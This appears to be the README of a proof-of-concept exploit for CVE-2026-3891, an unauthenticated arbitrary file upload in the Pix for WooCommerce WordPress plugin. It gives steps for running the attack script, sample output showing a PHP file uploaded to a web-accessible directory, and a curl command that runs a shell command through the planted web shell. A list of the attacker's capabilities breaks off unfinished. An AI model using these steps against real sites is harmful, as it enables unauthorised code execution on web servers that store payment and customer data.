
PoC for CVE-2026-3891 — Unauthenticated Arbitrary File Upload leading to Remote Code Execution in Pix for WooCommerce <= 1.5.0
CVE-2026-3891 is a critical Unauthenticated Arbitrary File Upload vulnerability found in the Pix for WooCommerce WordPress plugin in versions up to and including 1.5.0.
The vulnerability exists in the
lkn_pix_for_woocommerce_c6_save_settings functionality due to missing
authorization controls and insufficient file type validation. The
exploit automates the process of obtaining a valid nonce and
demonstrating the unrestricted upload of a PHP file to a web-accessible
directory.
By leveraging this vulnerability, an unauthenticated attacker may be able to:
pip install requests
CVE-2026-3891.py file on your system.python CVE-2026-3891.py
Enter the target WordPress URL when prompted:
[?] Enter target URL: http://localhost/wordpress
Example:
[*] Requesting nonce...
[+] Nonce obtained: **********
[*] Uploading woocommerce.php...
[+] File uploaded successfully!
[+] URL: http://target/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php
curl http://target/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php?cmd=ls
